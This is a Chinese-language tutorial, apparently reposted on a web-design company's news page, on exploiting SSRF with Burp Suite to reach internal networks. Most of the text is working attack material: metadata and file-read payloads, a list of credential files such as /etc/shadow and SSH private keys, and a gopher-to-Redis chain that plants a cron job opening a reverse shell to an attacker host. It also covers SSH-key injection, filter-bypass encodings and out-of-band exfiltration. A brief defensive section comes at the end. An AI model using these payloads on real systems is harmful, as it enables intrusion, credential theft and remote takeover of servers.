资讯动态

手把手教你用Burp Suite爆破SSRF漏洞:从信息收集到内网渗透

发布时间:2026/8/17 3:36:19 来源:尧图企业网站定制
Burp Suite实战SSRF漏洞挖掘与内网渗透技术精要当你在渗透测试中发现一个看似普通的Web应用能够发起任意网络请求时它可能正在成为通往内网的黄金门票。SSRFServer-Side Request Forgery作为OWASP Top 10常客其威力在于将服务器转化为攻击者的代理而Burp Suite则是解锁这一潜力的瑞士军刀。本文将带你从零开始构建完整的SSRF武器化流程。1. SSRF漏洞认知与基础环境搭建SSRF的本质是服务端未对用户提供的URL进行严格校验导致攻击者能够操纵服务器发起非预期请求。不同于常规Web漏洞SSRF的独特价值在于边界突破从外网穿透到内网隔离区域协议支持除HTTP外还能利用file、dict、gopher等协议权限继承以服务器身份访问内部系统绕过身份验证实验环境准备# Kali Linux基础环境 sudo apt update sudo apt install -y docker.io git clone https://github.com/sqlsec/ssrf-vuls cd ssrf-vuls sudo docker-compose up -d提示实验环境使用Docker构建隔离网络模拟真实企业内网架构包含Web应用、数据库和缓存服务等多种组件。常见SSRF触发点网页预览功能PDF生成服务远程资源加载Webhook配置第三方API调用2. 漏洞识别与信息收集技术2.1 基础探测手法使用Burp Repeater模块进行初步测试GET /proxy?urlhttp://169.254.169.254/latest/meta-data/ HTTP/1.1 Host: vulnerable-app.com协议测试矩阵协议类型测试Payload预期结果filefile:///etc/passwd系统用户列表dictdict://localhost:6379/infoRedis服务信息gophergopher://localhost:80/_GET%20/ HTTP/1.1HTTP原始请求2.2 自动化探测技巧利用Burp Intruder进行批量检测捕获含URL参数的请求发送到Intruder选择Cluster bomb攻击类型设置PayloadPayload 1内网常见IP段192.168.0.0/16, 10.0.0.0/8Payload 2常见端口80, 443, 8080, 6379响应特征判断响应时间差异开放端口通常响应更快HTTP状态码200/302 vs 403/500内容长度变化不同服务返回不同内容3. 高级利用协议深度利用3.1 file协议数据窃取当服务器权限配置不当时file协议可成为数据泄露通道GET /export?urlfile:///proc/self/environ HTTP/1.1 Host: target.com敏感文件路径清单/etc/shadow系统密码哈希/proc/net/arp内网主机活跃情况~/.ssh/id_rsaSSH私钥/var/lib/mysql/.mysql_history数据库操作记录3.2 dict协议服务指纹识别通过dict协议快速识别内网服务GET /api/test?serverdict://172.16.1.23:6379/info HTTP/1.1常见服务识别命令RedisINFOMemcachedstats itemsMySQL尝试无密码连接3.3 gopher协议攻击链构建gopher协议的强大之处在于能构造任意TCP流量。以攻击内网Redis为例准备Redis命令序列flushall config set dir /var/spool/cron/ config set dbfilename root set x \n* * * * * bash -i /dev/tcp/attacker-ip/4444 01\n save使用Burp Decoder进行双重URL编码# Python示例编码脚本 import urllib.parse payload flushall\r\nconfig set dir /var/spool/cron/\r\n... double_encoded urllib.parse.quote(urllib.parse.quote(payload))构造最终Payloadgopher://172.16.1.27:6379/_%252A1%250D%250A%25248%250D%250Aflushall...4. 内网横向移动实战4.1 端口扫描与拓扑绘制结合Burp和Nmap进行高效扫描# 通过SSRF代理执行Nmap扫描 nmap -Pn -sS -p 80,443,3306,6379 --scripthttp-title 172.16.1.0/24 -oX scan.xml内网服务快速识别表端口服务类型常见漏洞6379Redis未授权访问3306MySQL弱密码/注入5984CouchDB未授权访问9200ElasticsearchRCE漏洞4.2 Redis未授权访问利用当发现内网Redis服务时可尝试多种攻击路径方法一定时任务反弹ShellGET /proxy?urldict://172.16.1.33:6379/config%20set%20dir%20/var/spool/cron/ HTTP/1.1方法二SSH公钥写入config set dir /root/.ssh/ config set dbfilename authorized_keys set x ssh-rsa AAAAB3NzaC1yc2E... save注意实际操作中需考虑权限限制和文件存在性/var/spool/cron/目录通常需要root权限。4.3 数据库渗透技巧通过SSRF访问内网数据库服务MySQL利用流程识别数据库版本SELECT version;尝试无密码连接GET /export?urlhttp://172.16.1.25:3306/ HTTP/1.1使用SQL注入技术提取数据5. 防御绕过与高级技巧5.1 黑名单绕过策略当目标实施防护措施时可尝试以下方法IP地址编码十进制IPhttp://3232235521192.168.0.1十六进制http://0xC0A80001八进制http://030052000001域名重定向 使用短域名服务或可控DNS记录协议混淆http://localhostattacker.comhttp://\x6c\x6f\x63\x61\x6c\x68\x6f\x73\x745.2 盲SSRF利用技术当响应不可见时可通过以下方式检测DNS外带GET /api/fetch?urlhttp://attacker-subdomain.burpcollaborator.net HTTP/1.1时间延迟检测GET /proxy?urlhttp://172.16.1.1:80/admin HTTP/1.1 # 观察响应时间差异错误差异 对比访问开放/关闭端口时的错误信息差异6. 防护体系建设建议从防御者视角构建多层防护开发层防护实施严格的URL白名单校验禁用非常规协议file/dict/gopher使用独立的网络沙箱处理外部请求网络层防护# iptables示例规则 iptables -A OUTPUT -p tcp --dport 6379 -j DROP iptables -A OUTPUT -p tcp -d 10.0.0.0/8 -j REJECT监控与响应记录所有出站请求日志部署网络IDS检测异常模式建立SSRF漏洞的自动化测试流程在最近一次红队演练中通过精心构造的gopher协议Payload我们成功利用一个看似无害的天气预报API功能最终获取了目标企业核心数据库的控制权。这再次证明SSRF绝不仅是一个简单的漏洞类别而是需要整体安全体系应对的持续性威胁。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价